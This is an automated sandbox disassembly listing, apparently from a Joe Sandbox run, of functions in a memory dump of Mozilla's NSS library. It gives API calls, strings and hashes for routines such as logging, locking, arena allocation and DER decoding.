Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 97ebc7742836e4f9cdcc9d0ac11db56198b01d7cb424e4d3436a4b90d2d3b286
Instruction ID: a05eb0f30316b1b3c40781b4d2a740bcdb2b77ac4f99b2d5a2affd8c05ddc5d4
Opcode Fuzzy Hash: 97ebc7742836e4f9cdcc9d0ac11db56198b01d7cb424e4d3436a4b90d2d3b286
Instruction Fuzzy Hash: 2D312371D04116DBEB109B69C840EEBBBB8EB45358F208A67D815A7A13E7619D04C7D1

Function 6CE54E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE54E90
EnterCriticalSection.KERNEL32 ref: 6CE54EA9
TlsGetValue.KERNEL32 ref: 6CE54EC6
EnterCriticalSection.KERNEL32 ref: 6CE54EDF
PL_HashTableLookup.NSS3 ref: 6CE54EF8
PR_Unlock.NSS3 ref: 6CE54F05
PR_Now.NSS3 ref: 6CE54F13
PR_Unlock.NSS3 ref: 6CE54F3A

Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207AD
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207CD
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDB204A), ref: 6CE207D6
Part of subcall function 6CE207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDB204A), ref: 6CE207E4
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,6CDB204A), ref: 6CE20864
Part of subcall function 6CE207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE20880
Part of subcall function 6CE207A0: TlsSetValue.KERNEL32(00000000,?,?,6CDB204A), ref: 6CE208CB
Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(?,?,6CDB204A), ref: 6CE208D7
Part of subcall function 6CE207A0: TlsGetValue.KERNEL32(?,?,6CDB204A), ref: 6CE208FB

Strings

bUl, xrefs: 6CE54F3F
bUl, xrefs: 6CE54E5C

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUl$bUl
API String ID: 326028414-3943757760
Opcode ID: 948f41b4df91229da9465512e30d058f5c332fdd59af0d72a55ae075d7eac9c7
Instruction ID: 2442c69edfb71a131a082299242ecb7fcea96829512a3dca787a74ec582760d6
Opcode Fuzzy Hash: 948f41b4df91229da9465512e30d058f5c332fdd59af0d72a55ae075d7eac9c7
Instruction Fuzzy Hash: 80413DB4A04605DFCB00EF68C48496ABBF4FF49314B118669EC599B711EB31E855CFA1

Function 6CE7ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CE7DE64), ref: 6CE7ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE7ED22

Part of subcall function 6CE8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF618D0,?), ref: 6CE8B095

PL_FreeArenaPool.NSS3(?), ref: 6CE7ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CE7ED6B
PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CE7ED38

Part of subcall function 6CDB4C70: TlsGetValue.KERNEL32(?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4C97
Part of subcall function 6CDB4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4CB0
Part of subcall function 6CDB4C70: PR_Unlock.NSS3(?,?,?,?,?,6CDB3921,6CF914E4,6CEFCC70), ref: 6CDB4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CE7ED52
PR_CallOnce.NSS3(6CF92AA4,6CE912D0), ref: 6CE7ED83
PL_FreeArenaPool.NSS3(?), ref: 6CE7ED95
PL_FinishArenaPool.NSS3(?), ref: 6CE7ED9D

Part of subcall function 6CE964F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CE9127C,00000000,00000000,00000000), ref: 6CE9650E

Strings

security, xrefs: 6CE7ED06

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: c24e9d976400af79f56faa04d6c58487564aac16628ab5f77facc33b832153fc
Instruction ID: 7a4c0f830c16c66fc63ed6efbc48df81f1365b31f0de1b65ebbbb6dbec15a332
Opcode Fuzzy Hash: c24e9d976400af79f56faa04d6c58487564aac16628ab5f77facc33b832153fc
Instruction Fuzzy Hash: 92115B769006046BEA609775AC40BFF7278AF0274CF200429E90573F50F721A90DC6F7

Function 6CE62CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6CE62CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CE62D07

Part of subcall function 6CF409D0: PR_Now.NSS3 ref: 6CF40A22
Part of subcall function 6CF409D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF40A35
Part of subcall function 6CF409D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF40A66
Part of subcall function 6CF409D0: PR_GetCurrentThread.NSS3 ref: 6CF40A70
Part of subcall function 6CF409D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF40A9D
Part of subcall function 6CF409D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF40AC8
Part of subcall function 6CF409D0: PR_vsmprintf.NSS3(?,?), ref: 6CF40AE8
Part of subcall function 6CF409D0: EnterCriticalSection.KERNEL32(?), ref: 6CF40B19
Part of subcall function 6CF409D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF40B48
Part of subcall function 6CF409D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF40C76
Part of subcall function 6CF409D0: PR_LogFlush.NSS3 ref: 6CF40C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE62D22

Part of subcall function 6CF409D0: OutputDebugStringA.KERNEL32(?), ref: 6CF40B88
Part of subcall function 6CF409D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CF40C5D
Part of subcall function 6CF409D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CF40C8D
Part of subcall function 6CF409D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF40C9C
Part of subcall function 6CF409D0: OutputDebugStringA.KERNEL32(?), ref: 6CF40CD1
Part of subcall function 6CF409D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF40CEC
Part of subcall function 6CF409D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF40CFB
Part of subcall function 6CF409D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF40D16
Part of subcall function 6CF409D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CF40D26
Part of subcall function 6CF409D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF40D35
Part of subcall function 6CF409D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CF40D65
Part of subcall function 6CF409D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CF40D70
Part of subcall function 6CF409D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF40D90
Part of subcall function 6CF409D0: free.MOZGLUE(00000000), ref: 6CF40D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE62D3B

Part of subcall function 6CF409D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CF40BAB
Part of subcall function 6CF409D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF40BBA
Part of subcall function 6CF409D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CF40D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6CE62D54

Part of subcall function 6CF409D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CF40BCB
Part of subcall function 6CF409D0: EnterCriticalSection.KERNEL32(?), ref: 6CF40BDE
Part of subcall function 6CF409D0: OutputDebugStringA.KERNEL32(?), ref: 6CF40C16

Strings

pLabel = 0x%p, xrefs: 6CE62D4F
pPin = 0x%p, xrefs: 6CE62D1D
slotID = 0x%x, xrefs: 6CE62D02
ulPinLen = %d, xrefs: 6CE62D36
C_InitToken, xrefs: 6CE62CE7

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 0e15fe9d22d6e91aa10d804c5de80f2b6eb5c9fda39e5df97da18a167560cf11
Instruction ID: 7a5d9bf98bfba4ac60a38c45ab35443cd4a07340ad534b3470c33ead303557fa
Opcode Fuzzy Hash: 0e15fe9d22d6e91aa10d804c5de80f2b6eb5c9fda39e5df97da18a167560cf11
Instruction Fuzzy Hash: 92212275A60040AFDF449F61DC8CB493BB2EB9231DF548024F508A3F63DB728868CBA1

Function 6CF40EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CE22357), ref: 6CF40EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CE22357), ref: 6CF40EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CF40EE6

Part of subcall function 6CF409D0: PR_Now.NSS3 ref: 6CF40A22
Part of subcall function 6CF409D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF40A35
Part of subcall function 6CF409D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF40A66
Part of subcall function 6CF409D0: PR_GetCurrentThread.NSS3 ref: 6CF40A70
Part of subcall function 6CF409D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF40A9D
Part of subcall function 6CF409D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF40AC8
Part of subcall function 6CF409D0: PR_vsmprintf.NSS3(?,?), ref: 6CF40AE8
Part of subcall function 6CF409D0: EnterCriticalSection.KERNEL32(?), ref: 6CF40B19
Part of subcall function 6CF409D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF40B48
Part of subcall function 6CF409D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF40C76
Part of subcall function 6CF409D0: PR_LogFlush.NSS3 ref: 6CF40C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CF40EFA

Part of subcall function 6CE2AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CE2AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF40F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF40F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF40F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF40F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CF40ED9, 6CF40EE5, 6CF40F06, 6CF40F0B
Aborting, xrefs: 6CF40EB3

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 81bc260ab9733dc1f5a9e37a8a418b8251490d9979c54210465b28c339d6a24b
Instruction ID: 3df25e5ce475c643171ed1d76e53577f97f43faea3a70b19e170d1bedb802067
Opcode Fuzzy Hash: 81bc260ab9733dc1f5a9e37a8a418b8251490d9979c54210465b28c339d6a24b
Instruction Fuzzy Hash: B6F0AFB6D001147BDF403B60EC4AEAB3E3DDF82674F008024FD1956B02DA76E91496B2

Function 6CEA4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CEA4DCB

Part of subcall function 6CE90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91000
Part of subcall function 6CE90FF0: PR_NewLock.NSS3(?,00000800,6CE2EF74,00000000), ref: 6CE91016
Part of subcall function 6CE90FF0: PL_InitArenaPool.NSS3(00000000,security,6CE387ED,00000008,?,00000800,6CE2EF74,00000000), ref: 6CE9102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CEA4DE1

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CEA4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEA4E59

Part of subcall function 6CE8FAB0: free.MOZGLUE(?,-00000001,?,?,6CE2F673,00000000,00000000), ref: 6CE8FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF6300C,00000000), ref: 6CEA4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CEA4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CEA4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEA521A

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 0db3bee0a2aae4669217cb719d234aae66baaf3ac08c694bfdafed5ba814d8f0
Instruction ID: 76fc98dd0633e5b4ce12ddfde6f3a57cb1202ba44cb15be292972a10e37cac17
Opcode Fuzzy Hash: 0db3bee0a2aae4669217cb719d234aae66baaf3ac08c694bfdafed5ba814d8f0
Instruction Fuzzy Hash: C6F18C71E01209CFDB04CF95D8807AEB7B2BF49358F358169D915AB781EB35E982CB90

Function 6CE34FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CF80148,?,6CE46FEC), ref: 6CE3502A
PR_NewLock.NSS3(00000001,00000000,6CF80148,?,6CE46FEC), ref: 6CE35034
PL_NewHashTable.NSS3(00000000,6CE8FE80,6CE8FD30,6CEDC350,00000000,00000000,00000001,00000000,6CF80148,?,6CE46FEC), ref: 6CE35055
PL_NewHashTable.NSS3(00000000,6CE8FE80,6CE8FD30,6CEDC350,00000000,00000000,?,00000001,00000000,6CF80148,?,6CE46FEC), ref: 6CE3506D

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: f00b9560d29c41a441e99ded4c1778c0d3b8ba95bf15bb22bb150c9095a6a2d2
Instruction ID: d7c39a703de23099135c7ed20d8b91ce22208bd86dcd52380dd927ca5195737e
Opcode Fuzzy Hash: f00b9560d29c41a441e99ded4c1778c0d3b8ba95bf15bb22bb150c9095a6a2d2
Instruction Fuzzy Hash: B431F3B2F536209BEF408F25884CB6737789B1335CF261119EA0997740D33AA498CFE0

Function 6CDD2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDD2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CDD2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CDD3005
memcpy.VCRUNTIME140(?,?,?), ref: 6CDD30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDD3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDD3178

Strings

database corruption, xrefs: 6CDD316C
%s at line %d of [%.10s], xrefs: 6CDD3171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDD3022, 6CDD3156, 6CDD3162, 6CDD318A, 6CDD3196, 6CDD31A2, 6CDD31AE, 6CDD31BA, 6CDD31C6

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: d40ca1a325ee774676c728fee7c75e494e77a4e75c5a8632e05a5fadd17d45ff
Instruction ID: 918eb7fac8b8fbb25d773df739c22bf6bf3501c5b4763421ea2695e037488ac7
Opcode Fuzzy Hash: d40ca1a325ee774676c728fee7c75e494e77a4e75c5a8632e05a5fadd17d45ff
Instruction Fuzzy Hash: BDB19FB0E05216DBCB18CF9DC884AEEBBB1BF48304F15842AE845B7B55D375A941CBA0

Function 6CEA7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEA7FB2

Part of subcall function 6CE2BA40: TlsGetValue.KERNEL32 ref: 6CE2BA51
Part of subcall function 6CE2BA40: TlsGetValue.KERNEL32 ref: 6CE2BA6B
Part of subcall function 6CE2BA40: EnterCriticalSection.KERNEL32 ref: 6CE2BA83
Part of subcall function 6CE2BA40: TlsGetValue.KERNEL32 ref: 6CE2BAA1
Part of subcall function 6CE2BA40: _PR_MD_UNLOCK.NSS3 ref: 6CE2BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEA7FD4

Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90AB
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF90C9
Part of subcall function 6CEF9090: EnterCriticalSection.KERNEL32 ref: 6CEF90E5
Part of subcall function 6CEF9090: TlsGetValue.KERNEL32 ref: 6CEF9116
Part of subcall function 6CEF9090: LeaveCriticalSection.KERNEL32 ref: 6CEF913F

Part of subcall function 6CEA9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CEA9466

PR_ExitMonitor.NSS3(?), ref: 6CEA801B
PR_EnterMonitor.NSS3(?), ref: 6CEA8034
TlsGetValue.KERNEL32 ref: 6CEA80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEA80C0
PR_ExitMonitor.NSS3(?), ref: 6CEA811C
PR_ExitMonitor.NSS3(?), ref: 6CEA8134

Strings

), xrefs: 6CEA80DB

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 65da6a3eb32936b15b967f7126a49876d5f549c8fcaee660bbcb31cc7e28a341
Instruction ID: b00c4454805c72193f4f1748bb2e66749f2b1e0e6dc70da7d284c83fe5967637
Opcode Fuzzy Hash: 65da6a3eb32936b15b967f7126a49876d5f549c8fcaee660bbcb31cc7e28a341
Instruction Fuzzy Hash: 70512576A007849FE7209F758C417AB77B0AF6230CF24452DDD994AB42E731A61BCB82

Function 6CE4FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CE4FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CE4FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CE4FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE4FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CE4FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CE4FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CE4FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE4FD84

Strings

:, xrefs: 6CE4FD78

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
